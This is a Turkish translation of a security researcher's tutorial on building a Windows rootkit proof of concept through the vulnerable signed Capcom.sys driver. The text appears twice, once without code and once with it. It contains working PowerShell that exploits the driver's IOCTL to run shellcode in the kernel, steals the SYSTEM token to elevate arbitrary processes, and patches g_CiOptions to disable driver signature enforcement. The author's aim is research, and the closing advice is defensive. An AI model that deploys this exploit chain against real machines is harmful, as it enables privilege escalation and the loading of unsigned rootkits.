Capcom Rootkit Kavram Kanıtı
Selam ve hoşgeldin!
Geçenlerde Derusbi kötü amaçlı yazılımıyla ilgili bir makale okuyordum.
Gönderinin odak noktası, kötü amaçlı yazılım yazarları tarafından, sürücü imzalama gereksinimini geçici olarak devre dışı bırakan çekirdekteki bazı bitleri çevirmek için imzalı bir Novell sürücüsündeki bir güvenlik açığından (CVE-2013-3956) yararlanan bir teknikti.
Derusbi devre dışı bırakıldıktan sonra bir NDIS sürücüsü yükledi, muhtemelen bu, ham paketlerin şeffaf bir şekilde koklanmasına ve iletilmesine izin verdi (ayrıntılara bakmadım).
Her neyse, aynı temel işlevselliğe sahip bir POCyi bir araya getirmenin ne kadar zor olacağını merak ediyordum (ortaya çıktığı kadar zor değil!).
Saldırganın senaryosunu tam olarak simüle etmek için, ilk olarak 23 Eylül 2016da @ TheWack0lian tarafından açıklanan Capcom.sys adlı imzalı bir sürücüdeki bir güvenlik açığını kullanmaya karar verdim. Bu kadar saçma, hadi başlayalım!
Sürücü Güvenlik Açığı
Bu yazının temel amacı sürücü hatasını analiz etmek değil.
Sömürü sürecinin daha iyi bir resmini elde etmek için @ TheColonial en mükemmel izlenecek yollara bir göz atmanızı şiddetle tavsiye ederim.
https://youtu.be/UGWqq5kTiso
https://youtu.be/pJZjWXxUEl4
Esasen, sürücü ring0 kod yürütmesini bir hizmet olarak sağlar!
Tek işlevi, bir kullanıcı-yer işaretçisi almak, SMEPi devre dışı bırakmak, işaretçi adresinde kodu yürütmek ve SMEPi yeniden etkinleştirmektir.
Sorun teşkil eden işlevin demontajı aşağıda görülebilir.
Aşağıdaki powershell POC, bu sorunun pratik olarak nasıl kullanılabileceğini göstermektedir.
Bu teknikle ilgili daha fazla ayrıntı, @mwrlabs için yazdığım Bitmaps Hikayesi:
Sızdıran GDI Nesneleri Post Windows 10. Yıldönümü Sürümü ve Windows istismar geliştirme eğitim serimin 17. Bölümünde bulunabilir.
Rootkit İşlevselliği
Artık çekirdekte rastgele okuma / yazma var, rootkit işlevselliğimiz üzerinde çalışmaya başlayabiliriz.
İki farklı özelliğe odaklanmaya karar verdim: (1) Keyfi PIDleri SYSTEMe yükseltme ve (2) işaretsiz kodu çekirdeğe yüklemek için çalışma zamanında sürücü imzalama uygulamasını devre dışı bırakma.
Keyfi Süreç Yükseltme
Yüksek düzeyde EPROCESS yapılarının bağlantılı listesinden geçmemiz, SYSTEM EPROCESS belirteç alanını kopyalamamız ve bu değeri hedef EPROCESS yapısının belirteç alanının üzerine yazmak için kullanmamız gerekir.
Elimizde herhangi bir güvenlik açığı olmadan, kullanıcı alanından Sistem (PID 4) EPROCESS girişine bir işaretçi sızdırabiliriz.
Şu anda yüklü olan NT çekirdeğinin temel adresini sızdırmak için
SystemModuleInformation kullanımının, Windows 8.1den beri yalnızca orta düzeyde bir bütünlük süreciyle çalıştığına dikkat edilmelidir.
Get-LoadedModules kullanarak bu işlemi powershellde kolayca uygulayabilir ve sonuçlarımızı KDde doğrulayabiliriz
Harika, bu yüzden System EPROCESS yapısına bir işaretçi bulmanın bir yolunu bulduk ve bitmap ilkelimizi kullanarak bu işlemle ilişkili SYSTEM belirtecini kolayca okuyabiliriz.
Yapmamız gereken son şey, yükseltmek istediğimiz PID ile ilişkili EPROCESS yapısını bulmak için ActiveProcessLinks bağlantılı listeden geçmektir.
Bu bağlantılı listenin x64 Win10 ofsetleri kullanılarak bir temsili aşağıda gösterilmektedir.
Bu bağlantılı liste açıkça her iki tarafta da genişliyor ve kendi etrafında dönüyor.
Basit bir ifadeyle, mevcut EPROCESS yapısının PIDsini okumak için bitmap ilkelimizi kullanacağız, hedeflediğimiz PID ile eşleşirse işlem belirtecinin üzerine yazacağız, eşleşmiyorsa bir sonraki EPROCESS yapısının adresini okuyoruz ActiveProcessLinks-> Flink içinden tekrar deneyin.
EPROCESS yapısı opaktır (belgelenmemiş için MSFT argo) ve Windows işletim sisteminin sürümleri arasında değişir, ancak bununla ilgilenmek için statik ofsetlerin bir listesini tutabiliriz!
@Rwfpl tarafından Terminus Projesine bir göz atmanızı şiddetle tavsiye ederim. Aşağıdaki powershell işlevi bu simge çalma mantığını uygular.
Sürücü İmza İcra Bypass
Bu yazıda önerilen okumaların uzun listesine ek olarak, burada @ j00ru sürücü imza uygulamasına ilişkin yazıma göz atmanızı öneririm.
Görünüşe göre Windowsta kod bütünlüğü tek bir ikili dosya, ci.dll (=>% WINDIR% \ System32 \) tarafından yönetiliyor.
Windows 8den önce, CI küresel bir mantıksal değişken olan g_CiEnabledı dışa aktarır, bu oldukça açıklayıcıdır ya imzalama etkinleştirilmiştir ya da devre dışı bırakılmıştır.
Windows 8+ g_CiEnabled, bayrakların bir kombinasyonu olan başka bir genel değişken olan g_CiOptions ile değiştirilmiştir (en önemlisi 0x0 = devre dışı, 0x6 = etkin, 0x8 = Test Modu).
Boş zaman kısıtlamaları nedeniyle bu modül yalnızca g_CiOptions kullanan Win8 + kurulumlarını hedefleyecektir. Ancak, benzer bir metodoloji g_CiEnableda uygulanabilir (GitHub çekme istekleri kabul edilir!).
Temel olarak, Derusbi kötü amaçlı yazılım yazarlarıyla aynı tekniği kullanacağız.
G_CiOptions dışa aktarılmadığından, değere yama uygularken bazı dinamik hesaplamalar yapmamız gerekir.
CI! CiInitializeın derlemesini çözersek, g_CiOptionsa bir işaretçi sızdırdığını görebiliriz.
Daha önce yaptığımıza benzer şekilde, kullanıcı alanından CI! CiInitialize adresini herhangi bir güvenlik açığı olmadan sızdırabiliriz!
Buradan, ilk jmp (0xE9) ve ardından ilk mov dword prt [xxxxx], ecx (0x890D) için bitmap ilkelimizi kullanarak baytları okumak için biraz mantık uygulamak yeterlidir.
G_CiOptions adresini aldığımızda, onu istediğimiz değere ayarlayabiliriz!
Aşağıdaki powershell işlevi arama mantığını uygular.
Dava hemen hemen kapandı! Aşağıdaki ekran görüntüsü, mevcut g_CiOptions değerinin 0x6 olduğunu (= Sürücü imzalama etkin) ve evil.sys dosyasını yüklememizin engellendiğini gösteriyor.
Değerin üzerine yazdıktan sonra, imzasız sürücümüzü başarıyla yükleyebiliriz!
Biraz komik olan kısım, g_CiOptionsın PatchGuard tarafından korunmasıdır;
bu, değerin değiştiğini fark ederse Windowsun mavi ekran (=> CRITICAL_STRUCTURE_CORRUPTION) yapacağı anlamına gelir.
Ancak test sırasında bunun gerçekleşmesi pek olası değil, PatchGuardın devreye girmesi için bir saatten fazla beklemek zorunda kaldım.
İmzasız sürücüyü yüklerseniz ve orijinal değeri geri yüklerseniz PatchGuard akıllıca olmayacaktır!
Derinlemesine savunma önerim, bir saldırganın sürücüyü yansıtarak bir sürücüyü yüklemesini engellemezken, kesinlikle çıtayı yükseltecektir.
Son düşüncelerim
Üçüncü taraf, imzalı sürücüler, bu örneğin gösterdiğinden emin olduğum gibi Windows Çekirdeğinin bütünlüğüne ciddi bir tehdit oluşturmaktadır.
Ayrıca, özellikle PatchGuard zaman gecikmesi ile basit çekirdek yıkımını beklenenden daha kolay buldum.
Genel olarak, kuruluşların bu tür saldırı zincirini esasen ortadan kaldırmak için bir sürücü beyaz listesiyle aygıt korumasını dağıtması gerektiğini düşünüyorum.
Source: https://www.fuzzysecurity.com/tutorials/28.html
Translator: Qgenays
Selam ve hoşgeldin!
Geçenlerde Derusbi kötü amaçlı yazılımıyla ilgili bir makale okuyordum.
Gönderinin odak noktası, kötü amaçlı yazılım yazarları tarafından, sürücü imzalama gereksinimini geçici olarak devre dışı bırakan çekirdekteki bazı bitleri çevirmek için imzalı bir Novell sürücüsündeki bir güvenlik açığından (CVE-2013-3956) yararlanan bir teknikti.
Derusbi devre dışı bırakıldıktan sonra bir NDIS sürücüsü yükledi, muhtemelen bu, ham paketlerin şeffaf bir şekilde koklanmasına ve iletilmesine izin verdi (ayrıntılara bakmadım).
Her neyse, aynı temel işlevselliğe sahip bir POCyi bir araya getirmenin ne kadar zor olacağını merak ediyordum (ortaya çıktığı kadar zor değil!).
Saldırganın senaryosunu tam olarak simüle etmek için, ilk olarak 23 Eylül 2016da @ TheWack0lian tarafından açıklanan Capcom.sys adlı imzalı bir sürücüdeki bir güvenlik açığını kullanmaya karar verdim. Bu kadar saçma, hadi başlayalım!
Sürücü Güvenlik Açığı
Bu yazının temel amacı sürücü hatasını analiz etmek değil.
Sömürü sürecinin daha iyi bir resmini elde etmek için @ TheColonial en mükemmel izlenecek yollara bir göz atmanızı şiddetle tavsiye ederim.
https://youtu.be/UGWqq5kTiso
https://youtu.be/pJZjWXxUEl4
Esasen, sürücü ring0 kod yürütmesini bir hizmet olarak sağlar!
Tek işlevi, bir kullanıcı-yer işaretçisi almak, SMEPi devre dışı bırakmak, işaretçi adresinde kodu yürütmek ve SMEPi yeniden etkinleştirmektir.
Sorun teşkil eden işlevin demontajı aşağıda görülebilir.
Aşağıdaki powershell POC, bu sorunun pratik olarak nasıl kullanılabileceğini göstermektedir.
Kod:
# Some tricks here
# => cmp [rax-8], rcx
echo "`n[>] Allocating Capcom payload.."
[IntPtr]$Pointer = [CapCom]::VirtualAlloc([System.IntPtr]::Zero, (8 + $Shellcode.Length), 0x3000, 0x40)
$ExploitBuffer = [System.BitConverter]::GetBytes($Pointer.ToInt64()+8) + $Shellcode
[System.Runtime.InteropServices.Marshal]::Copy($ExploitBuffer, 0, $Pointer, (8 + $Shellcode.Length))
echo "[+] Payload size: $(8 + $Shellcode.Length)"
echo "[+] Payload address: $("{0:X}" -f $Pointer.ToInt64())"
$hDevice = [CapCom]::CreateFile("\\.\Htsysm72FB", [System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)
if ($hDevice -eq -1) {
echo "`n[!] Unable to get driver handle..`n"
Return
} else {
echo "`n[>] Driver information.."
echo "[+] lpFileName: \\.\Htsysm72FB"
echo "[+] Handle: $hDevice"
}
# IOCTL = 0xAA013044
#---
$InBuff = [System.BitConverter]::GetBytes($Pointer.ToInt64()+8)
$OutBuff = 0x1234
echo "`n[>] Sending buffer.."
echo "[+] Buffer length: $($InBuff.Length)"
echo "[+] IOCTL: 0xAA013044"
[CapCom]::DeviceIoControl($hDevice, 0xAA013044, $InBuff, $InBuff.Length, [ref]$OutBuff, 4, [ref]0, [System.IntPtr]::Zero) |Out-null
With the ability to execute arbitrary shellcode, I chose to stage a GDI bitmap primitive which would give me persistent read/write in the kernel without needing to call the driver over and over again. To create the bitmaps I used Stage-gSharedInfoBitmap and set up the shellcode in the following manner.
?
# Leak BitMap pointers
echo "`n[>] gSharedInfo bitmap leak.."
$Manager = Stage-gSharedInfoBitmap
$Worker = Stage-gSharedInfoBitmap
echo "[+] Manager bitmap Kernel address: 0x$("{0:X16}" -f $($Manager.BitmapKernelObj))"
echo "[+] Worker bitmap Kernel address: 0x$("{0:X16}" -f $($Worker.BitmapKernelObj))"
# Shellcode buffer
[Byte[]] $Shellcode = @(
0x48, 0xB8) + [System.BitConverter]::GetBytes($Manager.BitmappvScan0) + @( # mov rax,$Manager.BitmappvScan0
0x48, 0xB9) + [System.BitConverter]::GetBytes($Worker.BitmappvScan0) + @( # mov rcx,$Manager.BitmappvScan0
0x48, 0x89, 0x08, # mov qword ptr [rax],rcx
0xC3 # ret
)
Bu teknikle ilgili daha fazla ayrıntı, @mwrlabs için yazdığım Bitmaps Hikayesi:
Sızdıran GDI Nesneleri Post Windows 10. Yıldönümü Sürümü ve Windows istismar geliştirme eğitim serimin 17. Bölümünde bulunabilir.
Rootkit İşlevselliği
Artık çekirdekte rastgele okuma / yazma var, rootkit işlevselliğimiz üzerinde çalışmaya başlayabiliriz.
İki farklı özelliğe odaklanmaya karar verdim: (1) Keyfi PIDleri SYSTEMe yükseltme ve (2) işaretsiz kodu çekirdeğe yüklemek için çalışma zamanında sürücü imzalama uygulamasını devre dışı bırakma.
Keyfi Süreç Yükseltme
Yüksek düzeyde EPROCESS yapılarının bağlantılı listesinden geçmemiz, SYSTEM EPROCESS belirteç alanını kopyalamamız ve bu değeri hedef EPROCESS yapısının belirteç alanının üzerine yazmak için kullanmamız gerekir.
Elimizde herhangi bir güvenlik açığı olmadan, kullanıcı alanından Sistem (PID 4) EPROCESS girişine bir işaretçi sızdırabiliriz.
Şu anda yüklü olan NT çekirdeğinin temel adresini sızdırmak için
SystemModuleInformation kullanımının, Windows 8.1den beri yalnızca orta düzeyde bir bütünlük süreciyle çalıştığına dikkat edilmelidir.
Get-LoadedModules kullanarak bu işlemi powershellde kolayca uygulayabilir ve sonuçlarımızı KDde doğrulayabiliriz
Harika, bu yüzden System EPROCESS yapısına bir işaretçi bulmanın bir yolunu bulduk ve bitmap ilkelimizi kullanarak bu işlemle ilişkili SYSTEM belirtecini kolayca okuyabiliriz.
Yapmamız gereken son şey, yükseltmek istediğimiz PID ile ilişkili EPROCESS yapısını bulmak için ActiveProcessLinks bağlantılı listeden geçmektir.
Bu bağlantılı listenin x64 Win10 ofsetleri kullanılarak bir temsili aşağıda gösterilmektedir.
Bu bağlantılı liste açıkça her iki tarafta da genişliyor ve kendi etrafında dönüyor.
Basit bir ifadeyle, mevcut EPROCESS yapısının PIDsini okumak için bitmap ilkelimizi kullanacağız, hedeflediğimiz PID ile eşleşirse işlem belirtecinin üzerine yazacağız, eşleşmiyorsa bir sonraki EPROCESS yapısının adresini okuyoruz ActiveProcessLinks-> Flink içinden tekrar deneyin.
EPROCESS yapısı opaktır (belgelenmemiş için MSFT argo) ve Windows işletim sisteminin sürümleri arasında değişir, ancak bununla ilgilenmek için statik ofsetlerin bir listesini tutabiliriz!
@Rwfpl tarafından Terminus Projesine bir göz atmanızı şiddetle tavsiye ederim. Aşağıdaki powershell işlevi bu simge çalma mantığını uygular.
Kod:
function Capcom-ElevatePID {
param ([Int]$ProcPID)
# Check our bitmaps have been staged into memory
if (!$ManagerBitmap -Or !$WorkerBitmap) {
Capcom-StageGDI
if ($DriverNotLoaded -eq $true) {
Return
}
}
# Defaults to elevating Powershell
if (!$ProcPID) {
$ProcPID = $PID
}
# Make sure the pid exists!
# 0 is also invalid but will default to $PID
$IsValidProc = ((Get-Process).Id).Contains($ProcPID)
if (!$IsValidProc) {
Write-Output "`n[!] Invalid process specified!`n"
Return
}
# _EPROCESS UniqueProcessId/Token/ActiveProcessLinks offsets based on OS
# WARNING offsets are invalid for Pre-RTM images!
$OSVersion = [Version](Get-WmiObject Win32_OperatingSystem).Version
$OSMajorMinor = "$($OSVersion.Major).$($OSVersion.Minor)"
switch ($OSMajorMinor)
{
'10.0' # Win10 / 2k16
{
$UniqueProcessIdOffset = 0x2e8
$TokenOffset = 0x358
$ActiveProcessLinks = 0x2f0
}
'6.3' # Win8.1 / 2k12R2
{
$UniqueProcessIdOffset = 0x2e0
$TokenOffset = 0x348
$ActiveProcessLinks = 0x2e8
}
'6.2' # Win8 / 2k12
{
$UniqueProcessIdOffset = 0x2e0
$TokenOffset = 0x348
$ActiveProcessLinks = 0x2e8
}
'6.1' # Win7 / 2k8R2
{
$UniqueProcessIdOffset = 0x180
$TokenOffset = 0x208
$ActiveProcessLinks = 0x188
}
}
# Get EPROCESS entry for System process
$SystemModuleArray = Get-LoadedModules
$KernelBase = $SystemModuleArray[0].ImageBase
$KernelType = ($SystemModuleArray[0].ImageName -split "\\")[-1]
$KernelHanle = [Capcom]::LoadLibrary("$KernelType")
$PsInitialSystemProcess = [Capcom]::GetProcAddress($KernelHanle, "PsInitialSystemProcess")
$SysEprocessPtr = $PsInitialSystemProcess.ToInt64() - $KernelHanle + $KernelBase
$CallResult = [Capcom]::FreeLibrary($KernelHanle)
$SysEPROCESS = Bitmap-Read -Address $SysEprocessPtr
$SysToken = Bitmap-Read -Address $($SysEPROCESS+$TokenOffset)
Write-Output "`n[+] SYSTEM Token: 0x$("{0:X}" -f $SysToken)"
# Get EPROCESS entry for PID
$NextProcess = $(Bitmap-Read -Address $($SysEPROCESS+$ActiveProcessLinks)) - $UniqueProcessIdOffset - [System.IntPtr]::Size
while($true) {
$NextPID = Bitmap-Read -Address $($NextProcess+$UniqueProcessIdOffset)
if ($NextPID -eq $ProcPID) {
$TargetTokenAddr = $NextProcess+$TokenOffset
Write-Output "[+] Found PID: $NextPID"
Write-Output "[+] PID token: 0x$("{0:X}" -f $(Bitmap-Read -Address $($NextProcess+$TokenOffset)))"
break
}
$NextProcess = $(Bitmap-Read -Address $($NextProcess+$ActiveProcessLinks)) - $UniqueProcessIdOffset - [System.IntPtr]::Size
}
# Duplicate token!
Write-Output "[!] Duplicating SYSTEM token!`n"
Bitmap-Write -Address $TargetTokenAddr -Value $SysToken
}
Sürücü İmza İcra Bypass
Bu yazıda önerilen okumaların uzun listesine ek olarak, burada @ j00ru sürücü imza uygulamasına ilişkin yazıma göz atmanızı öneririm.
Görünüşe göre Windowsta kod bütünlüğü tek bir ikili dosya, ci.dll (=>% WINDIR% \ System32 \) tarafından yönetiliyor.
Windows 8den önce, CI küresel bir mantıksal değişken olan g_CiEnabledı dışa aktarır, bu oldukça açıklayıcıdır ya imzalama etkinleştirilmiştir ya da devre dışı bırakılmıştır.
Windows 8+ g_CiEnabled, bayrakların bir kombinasyonu olan başka bir genel değişken olan g_CiOptions ile değiştirilmiştir (en önemlisi 0x0 = devre dışı, 0x6 = etkin, 0x8 = Test Modu).
Boş zaman kısıtlamaları nedeniyle bu modül yalnızca g_CiOptions kullanan Win8 + kurulumlarını hedefleyecektir. Ancak, benzer bir metodoloji g_CiEnableda uygulanabilir (GitHub çekme istekleri kabul edilir!).
Temel olarak, Derusbi kötü amaçlı yazılım yazarlarıyla aynı tekniği kullanacağız.
G_CiOptions dışa aktarılmadığından, değere yama uygularken bazı dinamik hesaplamalar yapmamız gerekir.
CI! CiInitializeın derlemesini çözersek, g_CiOptionsa bir işaretçi sızdırdığını görebiliriz.
Daha önce yaptığımıza benzer şekilde, kullanıcı alanından CI! CiInitialize adresini herhangi bir güvenlik açığı olmadan sızdırabiliriz!
Buradan, ilk jmp (0xE9) ve ardından ilk mov dword prt [xxxxx], ecx (0x890D) için bitmap ilkelimizi kullanarak baytları okumak için biraz mantık uygulamak yeterlidir.
G_CiOptions adresini aldığımızda, onu istediğimiz değere ayarlayabiliriz!
Aşağıdaki powershell işlevi arama mantığını uygular.
Kod:
function Capcom-DriverSigning {
param ([Int]$SetValue)
# Check our bitmaps have been staged into memory
if (!$ManagerBitmap -Or !$WorkerBitmap) {
Capcom-StageGDI
if ($DriverNotLoaded -eq $true) {
Return
}
}
# Leak CI base => $SystemModuleCI.ImageBase
$SystemModuleCI = Get-LoadedModules |Where-Object {$_.ImageName -Like "*CI.dll"}
# We need DONT_RESOLVE_DLL_REFERENCES for CI LoadLibraryEx
$CIHanle = [Capcom]::LoadLibraryEx("ci.dll", [IntPtr]::Zero, 0x1)
$CiInitialize = [Capcom]::GetProcAddress($CIHanle, "CiInitialize")
# Calculate => CI!CiInitialize
$CiInitializePtr = $CiInitialize.ToInt64() - $CIHanle + $SystemModuleCI.ImageBase
Write-Output "`n[+] CI!CiInitialize: $('{0:X}' -f $CiInitializePtr)"
# Free CI handle
$CallResult = [Capcom]::FreeLibrary($CIHanle)
# Calculate => CipInitialize
# jmp CI!CipInitialize
for ($i=0;$i -lt 500;$i++) {
$val = ("{0:X}" -f $(Bitmap-Read -Address $($CiInitializePtr + $i))) -split '(..)' | ? { $_ }
# Look for the first jmp instruction
if ($val[-1] -eq "E9") {
$Distance = [Int]"0x$(($val[-3,-2]) -join '')"
$CipInitialize = $Distance + 5 + $CiInitializePtr + $i
Write-Output "[+] CI!CipInitialize: $('{0:X}' -f $CipInitialize)"
break
}
}
# Calculate => g_CiOptions
# mov dword ptr [CI!g_CiOptions],ecx
for ($i=0;$i -lt 500;$i++) {
$val = ("{0:X}" -f $(Bitmap-Read -Address $($CipInitialize + $i))) -split '(..)' | ? { $_ }
# Look for the first jmp instruction
if ($val[-1] -eq "89" -And $val[-2] -eq "0D") {
$Distance = [Int]"0x$(($val[-6..-3]) -join '')"
$g_CiOptions = $Distance + 6 + $CipInitialize + $i
Write-Output "[+] CI!g_CiOptions: $('{0:X}' -f $g_CiOptions)"
break
}
}
# print g_CiOptions
Write-Output "[+] Current CiOptions Value: $('{0:X}' -f $(Bitmap-Read -Address $g_CiOptions))`n"
if ($SetValue) {
Bitmap-Write -Address $g_CiOptions -Value $SetValue
# print new g_CiOptions
Write-Output "[!] New CiOptions Value: $('{0:X}' -f $(Bitmap-Read -Address $g_CiOptions))`n"
}
}
Dava hemen hemen kapandı! Aşağıdaki ekran görüntüsü, mevcut g_CiOptions değerinin 0x6 olduğunu (= Sürücü imzalama etkin) ve evil.sys dosyasını yüklememizin engellendiğini gösteriyor.
Değerin üzerine yazdıktan sonra, imzasız sürücümüzü başarıyla yükleyebiliriz!
Biraz komik olan kısım, g_CiOptionsın PatchGuard tarafından korunmasıdır;
bu, değerin değiştiğini fark ederse Windowsun mavi ekran (=> CRITICAL_STRUCTURE_CORRUPTION) yapacağı anlamına gelir.
Ancak test sırasında bunun gerçekleşmesi pek olası değil, PatchGuardın devreye girmesi için bir saatten fazla beklemek zorunda kaldım.
İmzasız sürücüyü yüklerseniz ve orijinal değeri geri yüklerseniz PatchGuard akıllıca olmayacaktır!
Derinlemesine savunma önerim, bir saldırganın sürücüyü yansıtarak bir sürücüyü yüklemesini engellemezken, kesinlikle çıtayı yükseltecektir.
Son düşüncelerim
Üçüncü taraf, imzalı sürücüler, bu örneğin gösterdiğinden emin olduğum gibi Windows Çekirdeğinin bütünlüğüne ciddi bir tehdit oluşturmaktadır.
Ayrıca, özellikle PatchGuard zaman gecikmesi ile basit çekirdek yıkımını beklenenden daha kolay buldum.
Genel olarak, kuruluşların bu tür saldırı zincirini esasen ortadan kaldırmak için bir sürücü beyaz listesiyle aygıt korumasını dağıtması gerektiğini düşünüyorum.
Source: https://www.fuzzysecurity.com/tutorials/28.html
Translator: Qgenays